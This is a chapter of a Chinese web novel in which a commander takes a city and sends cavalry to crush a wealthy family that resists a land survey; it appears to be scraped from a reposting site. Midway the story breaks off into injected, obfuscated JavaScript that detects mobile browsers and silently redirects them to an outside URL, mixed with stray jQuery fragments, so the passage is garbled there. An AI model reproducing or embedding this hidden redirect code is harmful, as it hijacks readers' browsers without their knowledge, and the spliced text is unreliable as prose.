55. 第 55 章

作品:《系统重启,我是天下第一战神

    连着过了两道关隘,走了两天一夜的路,许乐安决定今夜就在石壶关休息一晚。


    黑焰棠提着一桶热水,脚步蹒跚地挪进了房间,她个子瘦小,手中的木桶都快有她半个人高,提着十分吃力。


    许乐安上前一把接过木桶:“怎么用这么大的桶?下次换成小桶的吧,你提不动。”


    小焰棠生怕被主公嫌弃,有些慌张:“我可以的,不费力。”


    许乐安无奈地笑了笑,摸摸她的小脑袋:“你还小,这些重活不用你,你先做些轻省的活计,眼下你要努力多吃饭,吃饱了才有力气。”


    怕小孩子提大桶绊倒自己,许乐安不让小焰棠再去提水,凑合着用这一桶的热水给自己擦了擦身,哪知等她出来,发现小焰棠又端了一盆热水回来。


    “主公,婢子给您洗脚。”小焰棠跪在水盆旁边,低头说道。


    许乐安见她如此拘谨,努力地表现自己的用处,干脆也不推辞,坐下泡脚。


    泡入热水,她舒服地喂叹一声,道:“我泡一会儿,你去给我拿双软鞋,然后去铺床吧。”


    “是。”得了指令的小焰棠开心地去拿鞋、铺床。


    等她把床褥、被子铺得平平整整,许乐安已经擦好脚,趿着软鞋过来了。


    “行了,我要安寝了,你也回你的房间睡觉,明早再来叫我。”许乐安摆手道。


    小焰棠乖巧的屈膝行礼:“是,主公。”


    次日,清晨,许乐安在小焰棠的呼唤下醒来,用过早饭,她下令整队出发。


    黑木为妹妹收拾好了两个鼓鼓囊囊的大包裹,细心地捆扎结实,再搬上马车的行李架,捆好。


    他摸了摸小焰棠的辫子,叮嘱她:“往后跟着主公,要好好做事,好好照顾自己,别老想着哥哥。”


    小焰棠仰着小脸,眼眶红红的。


    黑木心软叹气,又说了一句:“你要实在想哥哥,就写信回来,不过不要在主公面前哭鼻子,知道吗?”


    小焰棠的泪珠在睫毛上打转,却强忍着没掉下来,只是用力点头:“我知道了哥。你也要好好的,一定要记得给我写信。”


    黑木应了一声,弯腰将妹妹稳稳抱上马车,马车上的苏遇伸手扶了她一把。


    黑木:“多谢苏军师。”


    他转身看向老友董力,郑重托付:“路上劳烦你多照拂着她些,这丫头性子怯,从未离开过我,可别让她走丢了。”


    董力拍着胸脯,爽朗一笑:“放心!你妹妹就是我妹妹,我保证把她平平安安送到平城!”


    苏遇也道:“放心,我们都会看护好她的。”


    话音落,号角声起,大军启程了。


    一路日行夜宿,大军走走停停,又经过几道关隘,终于到达了青州州府永平城。


    早有斥候快马传信,赵虎与李甲亲自领着一队精锐亲兵,在城外五里的官道旁列队等候。


    许乐安骑马走在大军前头,赵虎和李甲远远瞧见,快步迎上前。


    “末将拜见主公!”赵虎与李甲齐齐抱拳行礼。


    许乐安坐在马背上,先是目光扫过迎接的队伍,然后才问:“城中情形如何?百姓可还安稳?”


    赵虎上前一步,回禀道:“请主公放心!末将二人严令不得惊扰百姓,如今城中秩序井然,民心安定。”


    许乐安又问:“李家的人,都处置妥当了?李家的田亩粮秣,可已清点造册?”


    赵虎:“回禀主公,李家主支已尽数收押在大牢,旁系亲眷则闭门自省。李家的田产、粮仓皆已登记造册,只待主公定夺处置。”


    许乐安闻言,轻轻“嗯”了一声,看向一旁的李甲:“先前命你整理的那份名单,可曾办妥?”


    李甲要整理的是军中败类的名单,到时候要在战场上处决他们,事关重大,人数也牵涉众多,只能含糊相问。


    李甲连忙抱拳:“启禀主公,名单已整理大半,主公可随时审阅。”


    “很好。”许乐安扯了扯缰绳,抬手一挥,“传令下去,大军入城!”


    入城之后,许乐安连片刻歇息的功夫都未有,一连串的指令下达下去。


    “将带来的粮草悉数运往永平城军营,交由军需官清点入库。”


    “传我将令,即刻核查城中米盐市价,这一年内的几次涨价都得列明,一个时辰后呈上来。”


    “另,若有商行反抗,即刻捉拿,封店封铺。”


    “传我将令,重新丈量城中大户的名下田亩,我要看看他们到底瞒报了多少。”许乐安才不相信那些人会不贪不占不瞒。


    接管一座大城,要做的事是千头万绪,桩桩件件都要许乐安亲自下令,并指定负责的领头人,忙得她连饭都顾不上吃。


    手握大军,许乐安的许多命令都可以完成,唯独有一桩推行不下去——丈量城中大户的名下田地。


    接连两日,负责丈量的官吏频频回报,城中数家大户以“祖产地界分明,无需再核”、“李大将军已经明晰地契,无需再量”等理由,百般推诿阻挠丈量,甚至故意毁坏前往田庄的桥梁。


    许乐安不耐烦了,声望地图里早就显示了他们几家的真实田亩数量,与官府地册上的数量差距巨大,足见他们的贪婪之盛,若不是她想要合法的处置他们,这就需要一个合乎律法的丈量过程,她早就直接给他们定罪了。


    但是她的忍让不是无限的,他们这般阻挠就是在挑衅!


    既然如此,她若不给他们一个教训,岂不是在示弱?


    “李甲,你即刻点齐三百精锐,把气焰最狂的张家给我打趴下!我要让永平城所有大户都知道,我许乐安绝非可欺之辈!”许乐安下令。


    李甲早就看那些为富不仁、为非作歹的所谓高门很不爽了,当即抱拳领命:“领主公令,末将乐意之至。”


    城西张府,朱门紧闭,门楼上悬挂的“张府”鎏金匾额在日光下泛着金光,府门前一百多名“家仆”身穿皮甲,手持长刀,眼神冷厉,列队守卫。


    气氛肃然,闲人退避。


    突然,长街尽头传来一阵如雷的马蹄声,踏碎了长街的肃然冷寂。


    李甲率三百精锐骑兵策马疾驰而来,骑兵甲胄齐整,气势威武。


    李甲看到张府门前的景象,私兵列阵,气焰何等嚣张!


    他冷哼一声,高举长枪:“兄弟们,随我冲锋!”</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208525|193964||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    冲锋令下,李甲身后的三百精锐骑兵齐齐加速,长刀出鞘,如一道黑色洪流冲向张府的私兵。


    张府私兵虽早有准备,但此刻见到骑兵冲锋,依旧有不少人心生慌乱。


    为首的头目大喝一声:“列阵迎敌!守住大门!”


    私兵们连忙调整阵型,试图以长刀阵组成一道防线,可面对骑兵的雷霆冲击,这道防线脆弱得如同纸糊。


    骑兵洪流狠狠撞上私兵的长刀阵,战马的冲击力势不可挡,前排私兵瞬间被撞得人仰马翻,有的被马蹄踏中胸腹,当场呕血身亡;有的被骑兵长刀横扫,直接断了脖颈。


    李甲一马当先,长枪在他手中舞成一团旋风,触之即死。


    骑兵对步兵本就是碾压式的优势,更何况这些精锐骑兵皆是身经百战的悍卒,而张家私兵虽也习练多年,却到底少了战场厮杀的经验。


    不过半炷香的功夫,张府门前的私兵便被尽数斩杀,鲜血染红了门前的青石路。


    府内的张家人听着门外的惨叫哀嚎,又闻见了浓烈的血腥味,捂嘴欲呕,先前的镇定自如、不动如山早已消散,听得外面的喝令,只能开门投降,跪地求饶。


    李甲翻身下马,踩过门前的血泊,一步一个血印的走到张老爷面前。


    他居高临下地看着跪了一地的张家人,心中想着:他们当初作威作福、凌虐百姓的时候,可曾想过他们也有今日?


    一杆长枪挑起张老爷的下巴,锋利的枪尖在脖颈处划出一道血痕。


    “主公早已下令丈量田亩,你们偏要违令而行,今日这下场,可是你们自找的!”他冷笑一声,“主公有令,‘把张家给我打趴下’!兄弟们,你们可听到了?”


    听到这句话,骑兵们顿时拳脚齐下,毫不留情,往日里养尊处优的老爷少爷们被打得鼻青脸肿,哭爹喊娘的声音此起彼伏。


    张老爷被打得蜷缩一团,连声讨饶:“不敢了!再也不敢了!李将军饶命啊!我们一定配合丈量,一定配合!”


    李甲冷哼一声,吩咐道:“把他们都绑起来,看管好了!”


    “遵命!”兵士们轰然应诺,拿出绳索将张家人一个个都捆得结结实实。


    完成任务的李甲赶回将军府复命。


    许乐安正埋首于案前,奋笔书写着,听闻他的回话,抬手便从桌上堆叠的文书里抽出一张纸笺,递了过去:“这是给你的特许令,剩下那几户,你都上门去警告一番。敢抗令不遵的,只管动手便是。”


    李甲双手接过,低头一瞧,只见纸上密密麻麻地写了好几行,末尾处盖着一方朱红的大印。


    盯着特许令,他眉头不由地皱了起来——满纸的字,他拢共也认不得几个,看得头疼眼疼。


    许乐安抬眼瞥见他这副模样:“怎么,是哪里看不懂?”


    李甲有些赧然:“末将……末将识字不多,都看不懂。”


    “无妨。”许乐安搁下笔,温声解释道,“这特许令的意思很简单——若是他们敢违抗,本将军许你便宜行事。只要不闹出人命,不做那凌辱妇孺的勾当,其余的处置,全凭你做主。”


    李甲眼睛一亮,大声应道:“末将领命!”